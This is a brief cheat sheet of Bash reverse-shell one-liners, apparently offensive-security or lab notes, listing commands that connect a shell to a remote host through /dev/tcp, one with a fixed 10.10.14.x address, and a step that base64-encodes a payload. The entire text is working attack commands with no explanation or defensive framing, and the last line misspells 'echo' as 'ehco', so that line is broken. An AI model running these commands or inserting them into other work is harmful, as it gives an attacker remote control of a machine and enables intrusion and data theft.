Bash

Reverse shell 1

sh -i >& /dev/tcp/$IP/80 0>&1

Reverse shell 2

bash -i >& /dev/tcp/$IP/80 0>&1

Reverse shell 3

bash -c 'bash -i >& /dev/tcp/10.10.14.137/9001 0>&1'

Base64 encoded reverse shell

ehco -n 'bash >& /dev/tcp/$IP/80 0>&1' | base64